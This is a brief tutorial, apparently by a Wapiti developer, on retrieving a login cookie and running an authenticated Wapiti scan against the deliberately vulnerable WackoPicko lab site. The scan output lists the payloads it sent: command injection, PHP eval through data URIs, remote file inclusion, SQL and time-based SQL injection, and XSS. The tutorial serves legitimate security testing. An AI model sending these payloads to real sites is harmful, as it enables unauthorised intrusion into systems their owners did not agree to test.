Hello,

Here is a really fast tutorial on Wapiti and Wapiti-getcookie usage to show how to login to a website to retrieve cookies
then use the generated cookie file to launch a Wapiti scan.

First, I use wapiti-getcookie to login in the restricted area and get the cookie in cookies.json :

bash-4.2$ wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>

Choose the form you want to use or enter 'q' to leave :
0) GET http://wackopicko/pictures/search.php?query=&x=1&y=1 (0)
1) POST http://wackopicko/users/login.php (0)
        data: username=&password=

Enter a number : 1

Please enter values for the following form:
url = http://wackopicko/users/login.php
username: wanda
password: wanda
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>

It can also be done with wapiti-getcookie this way (if you have all necessary information about the form) :
wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json -d "username=wanda&password=wanda"

Then, I scan the vulnerable website using the cookie and excluding the logout script :

bash-4.2$ wapiti -u http://wackopicko/ -x http://wackopicko/users/logout.php -c cookies.json

 ██╗    ██╗ █████╗ ██████╗ ██╗████████╗██╗██████╗ 
 ██║    ██║██╔══██╗██╔══██╗██║╚══██╔══╝██║╚════██╗
 ██║ █╗ ██║███████║██████╔╝██║   ██║   ██║ █████╔╝
 ██║███╗██║██╔══██║██╔═══╝ ██║   ██║   ██║ ╚═══██╗
 ╚███╔███╔╝██║  ██║██║     ██║   ██║   ██║██████╔╝
  ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝     ╚═╝   ╚═╝   ╚═╝╚═════╝  
Wapiti-3.1.1 (wapiti-scanner.github.io)
[*] Saving scan state, please wait...

 Note
========
This scan has been saved in the file /home/devloop/.wapiti/scans/wackopicko_folder_30e1d821.db
[*] Wapiti found 41 URLs and forms during the scan
[*] Loading modules:
         mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto, mod_delay, mod_buster, mod_shellshock

[*] Launching module exec
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
    Host: wackopicko
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module file
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
    Host: wackopicko
---
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module sql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module xss
---
XSS vulnerability in http://wackopicko/pictures/search.php via injection in the parameter query
Evil request:
    GET /users/WackoPicko/website/pictures/search.php?query=%22%2F%3E%3Cscript%3Ealert%28%27wj6bncic12%27%29%3C%2Fscript%3E&x=1&y=1 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/
---

[*] Launching module timesql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    GET /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
    Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
    POST /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
    Host: wackopicko
    Referer: http://wackopicko/admin/index.php?page=login
    Content-Type: application/x-www-form-urlencoded

    adminname=default&password=letmein
---

[*] Launching module permanentxss

Report
------
A report has been generated in the file /home/devloop/.wapiti/generated_report
Open /home/devloop/.wapiti/generated_report/wackopicko_12292017_1342.html with a browser to see this report.


Alternatively you can pass your browser name to the -c option and Wapiti will reuse cookies from the browser :
bash-4.2$ wapiti -u http://wackopicko/ -x http://wackopicko/users/logout.php -c firefox

Only "chrome" and "firefox" are supported values.